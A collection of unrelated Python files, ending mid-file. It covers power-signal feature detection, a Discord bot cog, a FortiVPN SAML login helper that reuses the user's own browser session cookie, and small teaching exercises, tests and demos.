from __future__ import print_function, division
from _cython_feature_detectors import *
import numpy as np
import pandas as pd
import copy
from scipy import stats
import scipy.optimize
import matplotlib.dates as mdates
import math, datetime
from slicedpy.normal import Normal
from slicedpy.powerstate import PowerState, PowerSegment
from slicedpy.datastore import DataStore
from slicedpy import utils
from pda.channel import _indicies_of_periods

"""
.. module:: feature_detectors
   :synopsis: Functions for detecting features in power data.

   This file implements feature detectors which are written in pure
   Python.  Cython feature detectors are in
   cython/_cython_feature_detectors.pyx.  This file also holds helper functions
   for pre-processing prior to using feature detectors.
"""

###############################################################################
# SPIKE HISTOGRAM FUNCTIONS
###############################################################################

def get_merged_spikes(fdiff):
    """Merge consecutive forward difference values of the same sign.

    Args:
        fdiff (1D np.ndarray): forward difference of power.
            e.g. calculated by np.diff

    Returns:
        merged_fdiff (1D np.ndarray).  Will be zero prior to each merged spike.
    """

    sign_comparison = (fdiff[:-1] * fdiff[1:]) > 0
    merged_fdiff = copy.copy(fdiff)
    accumulator = 0
    for i in range(0,merged_fdiff.size-1):
        if sign_comparison[i] == True:
            if accumulator == 0:
                accumulator = fdiff[i] + fdiff[i+1]
            else:
                accumulator += fdiff[i+1]
            merged_fdiff[i] = 0
        else:
            if accumulator != 0:
                merged_fdiff[i] = accumulator
                accumulator = 0

    # Handle last element if necessary
    if accumulator != 0:
        merged_fdiff[-1] = accumulator

    return merged_fdiff

def get_merged_spikes_pandas(series):
    return pd.Series(get_merged_spikes(series.values), index=series.index)

def spike_histogram(series, merge_spikes=True, window_duration=60, n_bins=8):
    """
    Args:
        * series (pd.Series): watts
        * merge_spikes (bool): Default = True
        * window_duration (float): Width of each window in seconds
        * n_bins (int): number of bins per window.

    Returns:
        spike_hist, bin_edges:
            spike_hist (pd.DataFrame):
                index is pd.DateTimeIndex of start of each time window
                columns are 2-tuples of the bin edges in watts (int)
            bin_edges (list of ints):
    """
    fdiff = series.diff()
    if merge_spikes:
        fdiff = get_merged_spikes_pandas(fdiff)

    abs_fdiff = np.fabs(fdiff)
    freq = (window_duration, 'S')
    date_range, boundaries = _indicies_of_periods(fdiff.index,
                                                  freq=freq)
    bin_edges = np.concatenate(([0], np.exp(np.arange(1,n_bins+1))))
    bin_edges = np.round(bin_edges).astype(int)
    cols = zip(bin_edges[:-1], bin_edges[1:])
    spike_hist = pd.DataFrame(index=date_range, columns=cols)

    for date_i, date in enumerate(date_range):
        start_i, end_i = boundaries[date_i]
        chunk = abs_fdiff[start_i:end_i]
        spike_hist.loc[date] = np.histogram(chunk, bins=bin_edges)[0]

    return spike_hist, bin_edges

def spike_histogram_bin_to_data_coordinates(bin_data, scale_x=1,
                                            binary_items=False):
    """make a 2d matrix suitable for clustering where each row stores the
    coordinates of a single data point.  Each x coordinate is the
    ordinal timestamp (in ordinal time where 1 == 1st Jan 0001; 2 =
    2nd Jan 0001 etc), each y coordinate is the count.  Elements with
    count == 0 are ignored.

    Args:
      * bin_data (pd.Series): one bin from the spike histogram.
      * scale_x (float): multiply ordinal time by this value.
      * binary_items (bool): just put a 1 in the second column.

    Returns:
      * X (np.ndarray, dim=2, np.float64)

    """
    nonzero_i = np.nonzero(bin_data)[0]
    X = np.empty((nonzero_i.size, 2), dtype=np.float64)
    X[:,0] = mdates.date2num(bin_data[nonzero_i].index) * scale_x
    X[:,1] = 1 if binary_items else bin_data[nonzero_i].values
    return X

###############################################################################
# multiple_linear_regressions
###############################################################################

def multiple_linear_regressions(series, window_size=10):
    """
    Args:
        series (pd.Series): power.
        window_size (int): Width of each windows in number of samples.
            Must be multiple of 2.  Windows are overlapping:

    ::

                2222
              11113333
    Return:
        np.ndarray(n_windows, 4): the 4 columns are:
          1. slope
          2. intercept
          3. :math:`\\text{r_value} ^2`
          4. std_err
    """
    assert((window_size % 2) == 0)
    data = series.values
    half_window_size = int(window_size / 2)
    n_windows = int(data.size / half_window_size) - 1
    x = np.arange(window_size)
    results = np.empty((n_windows, 4))
    start_i = 0
    end_i = window_size
    for i in range(n_windows):
        window = data[start_i:end_i]
        start_i += half_window_size
        end_i += half_window_size
        slope, intercept, r_value, p_value, std_err = stats.linregress(x, window)
        results[i] = (slope, intercept, r_value**2, std_err)

    idx_i = range(0, half_window_size*n_windows, half_window_size)
    idx = series.index[idx_i]
    return pd.DataFrame(results, index=idx,
                        columns=['slope','intercept','r_squared','std_err'])

###############################################################################
# DECAYS
###############################################################################

def ttest_both_halves(watts, start, end):
    """
    Test if the left and right half of the watts masked `start` and `end`
    to see if they have the same mean or not.

    Returns two-tailed p-value.

    Args:
      * watts (:class:`pandas.Series`)
      * start (:class:`pandas.Timestamp`)
      * end (:class:`pandas.Timestamp`)
    """
    width = end - start
    half_way = start + width.__div__(2)
    left = watts[(watts.index >= start) & (watts.index < half_way)]
    right = watts[(watts.index >= half_way) & (watts.index < end)]
    return stats.ttest_ind(left, right)[1]

def linregress(watts, start, end):
    """
    Linear regression of data masked `start` and `end`

    Args
      * watts (:class:`pandas.Series`)
      * start (:class:`pandas.Timestamp`)
      * end (:class:`pandas.Timestamp`)

    Returns:
      * ``slope`` (in units of watts per second)
      * ``r_value``
      * ``p_value``
      * ``stderr``
    """
    ss = watts[(watts.index >= start) & (watts.index < end)]
    x = mdates.date2num(ss.index) * mdates.SEC_PER_DAY
    (slope, _, r_value,
     p_value, stderr) = stats.linregress(x, ss.values)
    return slope, r_value, p_value, stderr

###############################################################################
# SPIKE THEN DECAY
###############################################################################

def spike_indices(data, min_spike_size, max_spike_size=None):
    """Find spikes between min_spike_size and max_spike_size."""
    fdiff = np.diff(data)
    fdiff = get_merged_spikes(fdiff)
    if max_spike_size is None:
        spike_indices = np.where(fdiff > min_spike_size)[0]
    else:
        assert(max_spike_size > min_spike_size)
        spike_indices = np.where((fdiff > min_spike_size) &
                                 (fdiff < max_spike_size))[0]
    spike_indices += 1
    return spike_indices

def spike_then_decay(series, min_spike_size=300, max_spike_size=None,
                     decay_window=10, mode='poly'):
    """
    Args:
      * series (pd.Series): watts
      * min_spike_size (float): watts
      * max_spike_size (float or None): optional.  watts.
      * decay_window (float): seconds
      * mode (str): 'linear' or 'poly'

    Returns:
      * pd.DataFrame with 'end' and 'decay' columns set.
    """
    def linear(x, values):
        (slope, intercept, r_value,
         p_value, stderr) = stats.linregress(x, values)
        return intercept, slope

    curve = lambda x, c, m: c + (m / x)
    def poly(x, values):
        popt, pconv = scipy.optimize.curve_fit(curve, (x-x[0])+1, values,
                                               p0=(values.min(), 281.5))
        return popt[0], popt[1] # intercept, slope

    if mode=='linear':
        regression_func = linear
    elif mode=='poly':
        regression_func = poly
    else:
        raise Exception('Mode \'' + mode + '\' not recognised')

    spike_idxs = spike_indices(series.values[:-decay_window],
                               min_spike_size, max_spike_size)

    timedelta = datetime.timedelta(seconds=decay_window)

    # For each spike, do regression of next decay_window values
    features = []
    for spike_i in spike_idxs:
        start = series.index[spike_i]
        end = start + timedelta
        chunk = series[spike_i:]
        chunk = chunk[chunk.index < end]
        x = mdates.date2num(chunk.index) * mdates.SEC_PER_DAY
        intercept, slope = regression_func(x, chunk.values)
        f = {'end':end, 'slope':slope, 'intercept':intercept}
        features.append(f)

    return pd.DataFrame(features, index=series.index[spike_idxs])

#############################################################################
# POWER SEGMENT DETECTORS
#############################################################################

def relative_deviation_power_sgmnts(
                  series,
                  rdt=0.05, # relative deviation threshold
                  window_size=10):
    """power segment detector designed to find "power segments" in the face of
    a rapidly oscillating signal (e.g. a washing machine's motor).

    Break ``series`` into chunks, each of size ``window_size``.
    Calculate the mean of the first chunk. Calculate the mean
    deviation of the second chunk against the mean of the first chunk.
    If this deviation is above ``rdt`` then we've left a candidate power
    segment.  If we've been through 2 or more chunks then store this
    power segment.  Repeat.

    """

    # TODO: Optimise:
    # * convert code to Cython
    # * don't calculate ps.mean() from scratch every iteration

    watts = series.values

    def mean_relative_deviation(next_chunk, ps_mean):
        """Convert to absolute value _after_ calculating the mean.
        The idea is that rapid oscillations should cancel themselves out."""
        return math.fabs((next_chunk - ps_mean).mean() / ps_mean)

    n_chunks = int(watts.size / window_size)
    print("n_chunks =", n_chunks)
    ps_start_i = 0
    ps_end_i = window_size
    idx = [] # index for dataframe
    power_sgmnts = []
    for chunk_i in range(n_chunks-2):
        ps = watts[ps_start_i:ps_end_i]
        next_chunk_end_i = (chunk_i+2)*window_size
        next_chunk = watts[ps_end_i:next_chunk_end_i]
        if mean_relative_deviation(next_chunk, ps.mean()) > rdt:
            # new chunk marks the end of the power segment
            if (ps_end_i - ps_start_i) / window_size > 1:
                idx.append(series.index[ps_start_i])
                power_sgmnts.append({'end': series.index[ps_end_i-1],
                                     'power': Normal(ps)})
            ps_start_i = ps_end_i
        ps_end_i = next_chunk_end_i

    return pd.DataFrame(power_sgmnts, index=idx)

def min_max_power_sgmnts(data, max_deviation=20, initial_window_size=30,
                         look_ahead=3, max_ptp=1000):
    """power segment detector which looks for periods with similar min
    and max values.

    Find "power segments" by first taking an initial window of size
    ``initial_window_size``.  Check that this window is "sane" by
    splitting it in half and comparing the min and max of the two
    halves.  If this window is sane then take the average of
    ``look_ahead`` samples ahead of the end of the window and see if
    this average is within ``max_deviation`` of the min and max of the
    window.  If it is then add ``look_ahead`` onto the window and
    repeat.  Also take the tail of the window and check that the mean
    of the front of the window falls within ``max_deviation`` of the
    min and max of the tail (this helps to make sure we end the power
    segment early enough in a situation where we go from a section with a
    large min and max to a section with a similar mean but smaller min
    and max).

    Args:
      * data (pd.Series or np.ndarray): watts
      * max_deviation (float): watts
      * initial_window_size (int): number of samples
      * look_ahead (int): number of samples
      * max_ptp (float): max peak to peak in watts

    Returns:
      * a pd.DataFrame with columns:
        * ``end``
        * ``power``: a DataStore(model=Normal())
    """
    if isinstance(data, pd.Series):
        watts = data.values
        index = data.index
    elif isinstance(data, np.ndarray):
        watts = data
        index = np.arange(watts.shape[0])
    else:
        raise Exception('data is of wrong type!')

    ps_start_i = 0
    ps_end_i = initial_window_size
    idx = [] # index for dataframe
    power_sgmnts = []
    half_window = int(initial_window_size / 2)
    n = watts.size - look_ahead

    def append_power_segment(ps_start_i, ps_end_i, ps):
        idx.append(index[ps_start_i])
        ds = DataStore(model=Normal())
        ds.append(ps)
        power_sgmnts.append({'end': index[ps_end_i-1],
                             'power': ds})

    while True:
        if ps_end_i >= n:
            break

        ps = watts[ps_start_i:ps_end_i]
        end_of_ps = False
        if ps.size == initial_window_size:
            # this is an initial chunk so test it's a sane
            # chunk by comparing the means of the left and right side
            # of this chunk
            halfway = ps_start_i + half_window
            left = watts[ps_start_i:halfway]
            right = watts[halfway:ps_end_i]
            if (math.fabs(left.min() - right.min()) > max_deviation or
                math.fabs(left.max() - right.max()) > max_deviation or
                ps.ptp() > max_ptp):
                ps_start_i += 1
                ps_end_i += 1
                continue
        else:
            # Take an ``initial_window_size`` chunk from the tail
            # and do some checks.
            tail_split = ps_end_i-initial_window_size
            front = watts[ps_start_i:tail_split]
            tail = watts[tail_split:ps_end_i]
            if (front.mean() < tail.min() - max_deviation or
                front.mean() > tail.max() + max_deviation):
#            if (abs(tail.std() - front.std()) > tail.std()*30):
                end_of_ps = True
                ps_end_i = tail_split
                ps = front

        ahead = watts[ps_end_i:ps_end_i+look_ahead]
        if (ahead.mean() < ps.min() - max_deviation or
            ahead.mean() > ps.max() + max_deviation or
            end_of_ps):
            # We've come to the end of a candidate power segment
            append_power_segment(ps_start_i, ps_end_i, ps)
            ps_start_i = ps_end_i
            ps_end_i = ps_start_i + initial_window_size
        else:
            ps_end_i += look_ahead

    # add last power segment, if necessary
    if ps_end_i > ps_start_i + initial_window_size:
        append_power_segment(ps_start_i, ps_end_i, ps)

    return pd.DataFrame(power_sgmnts, index=idx)

def min_max_two_halves_power_sgmnts(series,
                                    max_deviation=20, # watts
                                    initial_window_size=20, # int: n samples
                                    max_ptp=1000 # max peak to peak in watts
                                    ):
    watts = series.values
    ps_start_i = 0
    ps_end_i = initial_window_size
    idx = [] # index for dataframe
    power_sgmnts = []
    while True:
        if ps_end_i >= watts.size:
            break

        ps = watts[ps_start_i:ps_end_i]

        # test it's a sane
        # chunk by comparing the means of the left and right side
        halfway = int((ps_start_i + ps_end_i) / 2)
        left = watts[ps_start_i:halfway]
        right = watts[halfway:ps_end_i]

        if (math.fabs(left.min() - right.min()) > max_deviation or
            math.fabs(left.max() - right.max()) > max_deviation or
            ps.ptp() > max_ptp):
            if ps_end_i == ps_start_i + initial_window_size:
                ps_start_i += 1
                ps_end_i += 1
            else:
                # We've come to the end of a candidate power segment
                idx.append(series.index[ps_start_i])
                power_sgmnts.append({'end': series.index[ps_end_i-1],
                                     'power': Normal(ps)})
                ps_start_i = ps_end_i
                ps_end_i = ps_start_i + initial_window_size
        else:
            ps_end_i += 1

    return pd.DataFrame(power_sgmnts, index=idx)

def mean_chunk_power_sgmnts(series, max_deviation=10, window_size=10):
    watts = series.values
    ps_start_i = 0
    idx = [] # index for dataframe
    power_sgmnts = []
    n_chunks = int(watts.size / window_size)
    for chunk_i in range(1,n_chunks-2):
        ps_end_i = window_size * chunk_i
        ps = watts[ps_start_i:ps_end_i]
        next_chunk = watts[ps_end_i:ps_end_i+window_size]
        if (next_chunk.mean() > ps.mean() + max_deviation or
            next_chunk.mean() < ps.mean() - max_deviation):
            # We've come to the end of a candidate power segment
            idx.append(series.index[ps_start_i])
            power_sgmnts.append({'end': series.index[ps_end_i-1],
                                 'power': Normal(ps)})
            ps_start_i = ps_end_i

    return pd.DataFrame(power_sgmnts, index=idx)

def minimise_mean_deviation_power_sgmnts(series,
                                         max_deviation=20, # watts
                                         initial_window_size=30, # int: number of samples
                                         look_ahead=150, # int: number of samples
                                         max_ptp=1000 # max peak-to-peak watts
                                         ):
    watts = series.values
    ps_start_i = 0
    ps_end_i = initial_window_size
    idx = [] # index for dataframe
    power_sgmnts = []
    half_window = int(initial_window_size / 2)
    n = watts.size - look_ahead
    while True:
        if ps_end_i >= n:
            break

        # this is an initial chunk so test it's a sane
        # chunk by comparing the means of the left and right side
        # of this chunk
        ps = watts[ps_start_i:ps_end_i]
        if ps_end_i == ps_start_i + initial_window_size:
            halfway = ps_start_i + half_window
            left = watts[ps_start_i:halfway]
            right = watts[halfway:ps_end_i]
            if (math.fabs(left.min() - right.min()) > max_deviation or
                math.fabs(left.max() - right.max()) > max_deviation or
                ps.ptp() > max_ptp):
                ps_start_i += 1
                ps_end_i += 1
                continue

        # Now creep forwards from ps_end_i and find the index which
        # gives the lowest deviation of the mean of the power segment
        # against the mean of the look ahead chunk.
        min_deviation = np.finfo(np.float64).max
        i_of_lowest = None
        ps_mean = ps.mean()
        for look_ahead_i in range(ps_end_i+1, ps_end_i+look_ahead):
            ahead = watts[ps_end_i:look_ahead_i]
            # TODO: don't recalculate ahead.mean() from scratch every iteration
            deviation = math.fabs(ahead.mean() - ps_mean)
            if deviation <= min_deviation:
                min_deviation = deviation
                i_of_lowest = look_ahead_i

        # Now we've found the index of the minimum deviation
        if min_deviation <= max_deviation:
            ps_end_i = i_of_lowest
        else:
            # End of power segment
            idx.append(series.index[ps_start_i])
            power_sgmnts.append({'end': series.index[ps_end_i-1],
                                 'power': Normal(ps)})
            ps_start_i = ps_end_i
            ps_end_i = ps_start_i + initial_window_size

    return pd.DataFrame(power_sgmnts, index=idx)

#############################################################################
# MERGE FEATURES
#############################################################################

def merge_features(pwr_sgmnts, decays, spike_histogram):
    """Associate features with each other to produce a list of
    "signature power states".

    Args:
      * pwr_sgmnts: pd.DataFrame with columns 'end' and 'power'
      * decays: pd.DataFrame
      * spike_histogram: pd.DataFrame

    Returns:
      List of PowerSegments.  See PowerSegment class for a list of attributes.
    """
    merged = []
    for start, pwr_seg in pwr_sgmnts.iterrows():
        pwr_state = PowerSegment(start=start,
                                 end=pwr_seg['end'],
                                 power=pwr_seg['power'])

        # DECAYS:
        # Assume decays to be within some constant number of
        # seconds around the start. Set start time of
        # powerstate to be start time of decay.
        max_time_diff = datetime.timedelta(seconds=20)
        i_of_nearest_decay = utils.find_nearest(decays, target=start,
                                                max_time_diff=max_time_diff)
        if i_of_nearest_decay is not None:
            pwr_state.slope = decays.iloc[i_of_nearest_decay]['slope']
            pwr_state.intercept = decays.iloc[i_of_nearest_decay]['intercept']
            pwr_state.start = decays.index[i_of_nearest_decay]

        # SPIKE HISTOGRAM:
        # Just take all.  If the power state is shorter in duration than
        # a single spike histogram window then this might be empty.
        cropped_spike_hist = spike_histogram[(spike_histogram.index >=
                                              pwr_state.start) &
                                             (spike_histogram.index <
                                              pwr_state.end)]
        pwr_state.spike_histogram = cropped_spike_hist.values

        merged.append(pwr_state)

    return merged


import discord
from discord.ext import commands
import configparser
import os
import sys

class Core(commands.Cog):
    """Core for the bot, includes help and exit."""
    def __init__(self, bot):
        self.bot = bot

    @commands.command(description="Closes the bot.")
    async def exit(self, ctx):
        await ctx.message.delete()
        print("Closing...")
        await self.bot.close()
        sys.exit()

    @commands.command(description="Changes the prefix used for commands.")
    async def change_prefix(self, ctx, prefix: str):
        await ctx.message.delete()
        config = configparser.ConfigParser()
        file = os.path.join(os.path.dirname(__file__), '..', 'utils', 'config.ini')
        config.read(file), config.set('DISCORD', 'PREFIX', prefix)
        with open(file, 'w', encoding="utf-8") as configfile:
            config.write(configfile)
        self.bot.command_prefix = prefix
        embed = discord.Embed(
            name="Prefix changed!",
            description="Prefix has been changed to **{}**".format(prefix),
            color=0x00BFFF)
        embed.set_author(name=f"{ctx.message.author}", icon_url=ctx.message.author.avatar_url)
        await ctx.send(embed=embed, delete_after=5.0)
        print("Prefix has changed to {}".format(prefix))

def setup(bot):
    bot.add_cog(Core(bot))


import os
import json
import re

class mailbag:

    def __init__(self):
        self.destpath = 'mailbag' + os.path.sep + 'destinations.txt'
        self.bodypath = 'mailbag' + os.path.sep + 'bodies.txt'
        self.relpath = 'mailbag' + os.path.sep + 'relations.txt'
        self.dests = []
        self.bodies = []
        self.relations = []
        if os.path.isfile(self.destpath):
            with open(self.destpath, 'r') as destfile:
                self.dests = destfile.read().splitlines()
        if os.path.isfile(self.bodypath):
            with open(self.bodypath, 'r') as bodyfile:
                self.bodies = bodyfile.read().splitlines()
        if os.path.isfile(self.relpath):
            with open(self.relpath, 'r') as relfile:
                self.relations = relfile.read().splitlines()

    def storemsg(self, msg):
        msgdest = msg.dest
        msgbody = msg.__str__()
        if msgdest not in self.dests:
            self.dests.append(msgdest)
        if msgbody not in self.bodies:
            self.bodies.append(msgbody)
        destindex = self.dests.index(msgdest)
        bodyindex = self.bodies.index(msgbody)
        relstring = '%d %d' % (destindex, bodyindex)
        if relstring not in self.relations:
            self.relations.append(relstring)

    def retrievemsgs(self, msgdest):
        destindex = self.dests.index(msgdest)
        messages = []
        for index, relstring in enumerate(self.relations):
            if relstring.find(str(destindex)) == 0:
                bodyindex = re.search(' (.*)', relstring).group(1)
                messages.append(self.bodies[int(bodyindex)])
        return messages

    def writeall(self):
        with open(self.destpath, 'w') as destfile:
            for destline in self.dests:
                destfile.write(destline + '\n')
        with open(self.bodypath, 'w') as bodyfile:
            for bodyline in self.bodies:
                bodyfile.write(bodyline + '\n')
        with open(self.relpath, 'w') as relfile:
            for relstring in self.relations:
                relfile.write(relstring + '\n')


from matplotlib import pyplot as plt
import numpy as np
from math import e

def RCfuncion(Vo,Vs,R,C):
    T = R*C
    x = np.linspace(0,5*T,100)
    y= (Vo*(e)**-(x/T))+(Vs*(1-(e)**-(x/T)))

    x2 = np.linspace(-0.000005,0,10)
    y2 = [Vo]*10

    fig = plt.figure()
    ax = fig.add_subplot(1, 1, 1)
    ax.set_title('Circuito RC')
    ax.set_ylabel('Voltaje [V]')
    ax.set_xlabel('Tiempo [s]')
    ax.spines['bottom'].set_position('zero')
    ax.spines['right'].set_color('none')
    ax.spines['top'].set_color('none')
    ax.xaxis.set_ticks_position('bottom')
    ax.yaxis.set_ticks_position('left')
    if Vo>Vs:
        ax.set_ylim([0, Vo])
    else: ax.set_ylim([0, Vs])

    # plot the function
    plt.plot(x,y, label = "y")
    plt.plot(x2, y2, label = "line 2")
    # show the plot
    plt.savefig('Funcion/RC_foto.png')
    return f"V(t) = {Vo}e^(-t/{T}) + {Vs}(1-e^(-t/{T}))"


# user_script.py
import example_module

# Global variable in the user's script
user_variable = "I am a user variable"

# Function in the user's script
def user_function():
    print("I am a function in the user's script")

# Accessing the module's name using __name__
print(f"Imported module name: {example_module.__name__}")
# Output: Imported module name: example_module

# Accessing module-level variable from user script
print(f"Module variable from user script: {example_module.module_variable}")
# Output: Module variable from user script: I am a module variable

# Calling module-level function from user script
example_module.module_function()  # Output: I am a function within the module

# Calling user-level function
user_function()  # Output: I am a function in the user's script


#!/usr/bin/env python3

# OpenFortiSAML v0.3
# Lucy Hancock <lucy@leh.dev> 2023, absolutely no copyrights
# Opens a firefox session and extracts the SVPNCOOKIE to use to authenticate with FortiVPN
# Functionality is derived from ****FortiClient with superfluous functionality removed
# ****FortiClient: https://gist.github.com/nonamed01/0961d8a79955206ebdc00abcaa56aefe
# One day I might also replicate finding the Firefox profile. Today is not that day.

# Licensed under CC0: https://creativecommons.org/publicdomain/zero/1.0/legalcode
# All code is dedicated to the public domain, where possible, and all liabilites are waived

import argparse
import os
import subprocess
import json

from pathlib import Path

if __name__ == "__main__":
    print('OpenFortiSAML v0.3')
    parser = argparse.ArgumentParser(prog='OpenFortiSAML')
    parser.add_argument('-f', '--firefox-profile', type=str, dest='fp', required=True)
    parser.add_argument('-s', '--server', type=str, dest='server', required=True)
    parser.add_argument('-p', '--port', type=int, dest='port', required=False, default=443)
    parser.add_argument('-a', '--openfortivpn-args', dest='ovpnargs', type=str, required=False, nargs='*', default=[])
    arg = parser.parse_args()
    print(arg)
    user = os.getlogin()
    Path('/tmp/.openfortisaml-cookie').unlink(missing_ok=True)

    if not Path(arg.fp).is_dir():
        print("Firefox profile doesn't seem to exist")
        exit(1)

    check_running_ff = subprocess.run(['pgrep', '-u', user, 'firefox'], capture_output=True)
    if check_running_ff.returncode != 1:
        print('Firefox seems to be running, please close it')
        exit(1)

    print('Opening firefox to VPN login, please login and then exit firefox')
    url = f'https://{arg.server}:{arg.port}/remote/saml/start'

    firefox_first = subprocess.run(['firefox', url], capture_output=True)
    if firefox_first.returncode:
        print("Hmm, that didn't work")
        exit(1)

    print('Opening firefox again, please just exit')
    firefox_second = subprocess.run(['firefox', 'https://1.1.1.1/help'], capture_output=True)
    if firefox_second.returncode:
        print("Hmm, that didn't work")
        exit(1)

    print('Looking for cookies backup')
    prev_path = Path(f'{arg.fp}/sessionstore-backups/previous.jsonlz4')
    if not prev_path.is_file():
        print("Huh, that doesn't exist")
        exit(1)

    print(f'Found at {prev_path.absolute()}, reading')
    jsonlz4cat = subprocess.run(['lz4jsoncat', prev_path.absolute()], capture_output=True, text=True)
    if jsonlz4cat.returncode:
        print("Hmm, that didn't work")
        exit(1)
    prev_dict = json.loads(jsonlz4cat.stdout)
    cookie = None
    for i in prev_dict['cookies']:
        if i['host'] == arg.server:
            if i['name'] == 'SVPNCOOKIE':
                cookie = i['value']

    if cookie is None:
        print('SVPNCOOKIE not found')
        exit(1)

    Path('/tmp/.openfortisaml-cookie').touch()
    os.chmod('/tmp/.openfortisaml-cookie', 0o600)
    with open('/tmp/.openfortisaml-cookie', 'w') as f:
        f.write(f'SVPNCOOKIE={cookie}')

    ovpncmd = ['cat', '/tmp/.openfortisaml-cookie', '|', 'sudo',
               'openfortivpn', f'{arg.server}:{arg.port}', '--cookie-on-stdin']
    try:
        subprocess.run(['bash', '-c', ' '.join(ovpncmd)])
    except KeyboardInterrupt:
        Path('/tmp/.openfortisaml-cookie').unlink()
        print("That's all folks!")
        exit(0)


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def increasingBST(self, root: TreeNode) -> TreeNode:
        def inorder(node):
            if node:
                yield from inorder(node.left)
                yield node.val
                yield from inorder(node.right)
        result = cursor = TreeNode(None)
        for value in inorder(root):
            cursor.right = TreeNode(value)
            cursor = cursor.right
        return result.right


from dataclasses import dataclass

@dataclass
class Student:
    name: str
    college_id: int

def main():
    alice = Student('Alice', 'aa1234aa')
    bob = Student('Bob', 'bb1234bb')

    print (alice.name)
    print(bob.college_id)

    print(alice)
    print(bob)

main()


#Aufgabe K11 | A1: Folgendes Dictionary ist gegeben:

tel = {
'arbeit': {'Jan': '50', 'Mark': '81'},
'private': {'Julia': '0151438924' , 'Mark': '016932834'}
}

#Welche Ausgaben liefern folgende Befehle:
"""
len(tel)                              #1. Ausgabe => 2    | in tel befinden sich 2 x Key/Value - arbeit , private , auch wenn diese selbst nochmal Dictionarys sind.
len(tel['arbeit'])                    #2. Ausgabe => 2    | in arbeit befinden sich 2 x Key/Value
tel['arbeit'].get('Mark')             #3. Ausgabe => 81   | ruft aus 'arbeit' den Value '81' zum Key 'Mark' auf
'Jan' in tel['arbeit']                #4. Ausgabe => True | prüft ob Jan in 'arbeit' vorkommt
list(tel['private'].values())         #5. Ausgabe => ['0151438924', '016932834'] | nennt alle Values von 'private'
tel['private'].copy()                 #6. Ausgabe => {'Julia': '0151438924', 'Mark': '016932834'} | Kopie des Dictionary.
"""

#_____________ A2 _____________

#Ändere nachträglich die interne Durchwahl von Mark zu 80.

arbeit1 = {'Mark':'80'}
tel['arbeit'].update(arbeit1)

print(list(tel['arbeit'].values()))          #Zeile nicht notwendig, nur zum prüfen ob es funktioniert hat.

#Lösche den Eintrag von Julia inkl. Handynummer

tel['private'].pop('Julia')

print(tel['private'])           #Zeile nicht notwendig, nur zum prüfen ob es funktioniert hat.

#Ändere den Namen Mark im privaten Bereich in „Murad“
tel['arbeit'].pop('Mark')
arbeit2 = {'Murad':'80'}
tel['arbeit'].update(arbeit2)

print(list(tel['arbeit'].items()))  ##Zeile nicht notwendig, nur zum prüfen ob es funktioniert hat.


import unittest

from RecordMapper.builders import FunctionBuilder
from RecordMapper.builders.FunctionBuilder import InvalidFunctionError

class test_FunctionBuilder(unittest.TestCase):

    def test_builtin_function(self):

        # Arrange
        test_function_name = "copyFrom"
        args_list = ["field_2"]

        input_record = {
            ("field_1", ): "hola",
            ("field_2", ): 56
        }

        expected_result = 56

        # Act
        parsed_function = FunctionBuilder.get_builtin_function(test_function_name, args_list)

        # Assert
        self.assertEqual(parsed_function(None, input_record, None, {}), expected_result)

    def test_custom_function(self):

        # Arrange
        test_function_name = "tests.custom_functions_for_tests.sum"
        args_list = [5]
        input_record = {
            ("field_1",): "hola",
            ("field_2",): 56,
            ("field_3",): 7
        }

        expected_res = 12

        # Act
        parsed_function = FunctionBuilder.get_custom_function(test_function_name, args_list)

        # Assert
        self.assertEqual(parsed_function(7, input_record, None, {}), expected_res)

    def test_parsed_function_str(self):

        builtin_function_test = "copyFrom(field_to_copy)"
        custom_function_test = "tests.custom_functions_for_tests.sum(2)"

        input_record = {
            ("field_1",): "hola",
            ("field_to_copy",): 42,
            ("field_3",): 7
        }

        expected_builtin_res = 42
        expected_custom_res = 9

        # Act
        parsed_builtin_function = FunctionBuilder.parse_function_str(builtin_function_test)
        parsed_custom_function = FunctionBuilder.parse_function_str(custom_function_test)

        # Assert
        self.assertEqual(parsed_builtin_function(7, input_record, None, {}), expected_builtin_res)
        self.assertEqual(parsed_custom_function(7, input_record, None, {}), expected_custom_res)

    def test_invalid_function_name(self):

        # Arrange/Assert/act
        with self.assertRaises(InvalidFunctionError) as context:

            FunctionBuilder.parse_function_str("tests.custom_functions_for_tests.nope(5)")

        # Assert
        self.assertTrue("Invalid name for a custom function" in str(context.exception))

    def test_invalid_module_name(self):

        # Arrange/Assert/act
        with self.assertRaises(InvalidFunctionError) as context:

            FunctionBuilder.parse_function_str("tests.custom_functions_for_tests_nope.sum(5)")

        # Assert
        self.assertTrue("Invalid module for a custom function" in str(context.exception))


import pygame

WIDTH = 800
HEIGHT = 600

screen = pygame.display.set_mode((WIDTH, HEIGHT))

running = True

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        mx, my = pygame.mouse.get_pos()
        mb = pygame.mouse.get_pressed()
        if mb[0]:
            screen.fill((0, 0, 0))
            pygame.draw.line(screen, (255, 0, 0), (mx, 0), (mx, HEIGHT))
            pygame.draw.line(screen, (255, 0, 0), (0, my), (WIDTH, my))

    pygame.display.flip()

pygame.quit()


"""

Tuplas possuem uma certa semelhança com listas.

Existem praticamente duas diferenças básicas:

1 - As tuplas são representadas por parênteses ()
2 - São imutáveis, ou seja, ao criar uma tupla ela não muda
"""

#Ambos os exemplos abaixo são considerados tuplas

tupla1 = (1, 2, 3, 4, 5)
tuplas2 = 1, 2, 3, 4, 5

# Não existe tuplas apenas com um elemento

tupla3 = (1) # Isso não é uma tupla
tupla4 = (1,) # Isso é uma tupla

# Gerando tuplas através de um range

tupla5 = tuple(range(11))

#  Desempacotamento de Tupla

tuplaname = ('Christian', 'Louzada')
nome, sobrenome = tuplaname

print(nome)
print(sobrenome)

# Contatenação de Tuplas

tupla6 = (6, 5, 4, 3, 2, 1)
tupla7 = (1, 2, 3, 4, 5, 6)

print(tupla6 + tupla7)

# iterando sobre uma Tupla
tuplaiterada = ('posicaoum', 'posicaodois', 'posicaotres')

for indice, valor in enumerate(tuplaiterada):
    print(indice, valor)

#Contando elementos dentro de uma Tupla
tuplacontudora = ('a', 'f', 'g', 'k', 'a', 'a')
print(tuplacontudora.count('a')) # Quantos elementos do parâmetro count possuem na tupla


"""
You have a list of words and a pattern, and you want to know which words in
words matches the pattern.

A word matches the pattern if there exists a permutation of letters p so that
after replacing every letter x in the pattern with p(x), we get the desired
word.

Recall that a permutation of letters is a bijection from letters to letters:
    every letter maps to another letter, and no two letters map to the same
    letter.

